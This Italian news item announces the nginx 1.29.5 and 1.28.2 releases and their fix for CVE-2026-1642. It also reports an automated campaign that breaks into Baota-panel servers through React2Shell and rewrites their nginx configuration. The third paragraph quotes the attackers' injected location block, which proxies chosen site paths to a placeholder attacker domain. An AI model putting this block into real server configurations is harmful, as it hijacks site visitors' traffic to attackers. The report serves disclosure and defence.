È stata rilasciata la versione principale nginx 1.29.5, in cui continua lo sviluppo di nuove funzionalità, insieme al rilascio della versione stabile parallela nginx 1.28.2, nella quale vengono apportate solo modifiche per correggere errori critici e vulnerabilità. Gli aggiornamenti risolvono una vulnerabilità (CVE-2026-1642) che consente a un attaccante, in grado di eseguire un attacco Man-in-the-Middle (MITM) nel canale di comunicazione tra nginx e il server upstream, di sostituire le risposte inviate al cliente. Il problema riguarda le configurazioni che inoltrano richieste (HTTP 1.x, HTTP/2, gRPC o uWSGI) a un server upstream utilizzando la crittografia TLS.
Oltre alla vulnerabilità nella versione 1.29.5, il livello di logging degli errori SSL 'ech_required' è stato abbassato da 'crit' a 'info', e sono stati risolti diversi problemi: è stato corretto l'accesso alla memoria già liberata (use-after-free) dopo il passaggio al backend gRPC o HTTP/2 successivo; è stato risolto un problema nell'invio di una richiesta HTTP/2 non corretta dopo il passaggio al server upstream successivo; è stato corretto l'aumento della dimensione della risposta con più range; è stata migliorata l'impostazione della variabile HTTP_HOST durante il proxying verso i backend FastCGI, SCGI e uwsgi.
Inoltre, è possibile notare l'individuazione di un attacco automatizzato che, dopo un'intrusione riuscita, server è limitato alla modifica della configurazione di nginx. L'intrusione avviene attraverso una vulnerabilità non corretta di React2Shell nei componenti server di React su sistemi con pannelli di controllo hosting, come Baota (BT). Le modifiche apportate alla configurazione di nginx reindirizzavano le richieste ai siti ospitati verso il server degli attaccanti, il quale effettuava sostituzioni dannose nelle risposte restituite all'utente. location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }
In questo modo, anziché installare rootkit o malware sul server, viene orchestrato un attacco ai clienti che aprono il sito web ospitato sul server, senza modificare direttamente i componenti del sito sul server. L'attacco è principalmente mirato a intercettare il traffico dei domini dei paesi asiatici, così come dei domini *.edu e *.gov. Attraverso il server degli aggressori vengono reindirizzati richieste selettive, ad esempio contenenti nei percorsi parole come "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" e "info". L'attacco viene effettuato in modo automatizzato utilizzando strumenti che eseguono la ricerca e l'analisi della configurazione nginx, la selezione e l'inserimento del modello di impostazioni, il riavvio di nginx e la verifica del funzionamento della variante modificata.
Fonte: opennet.ru
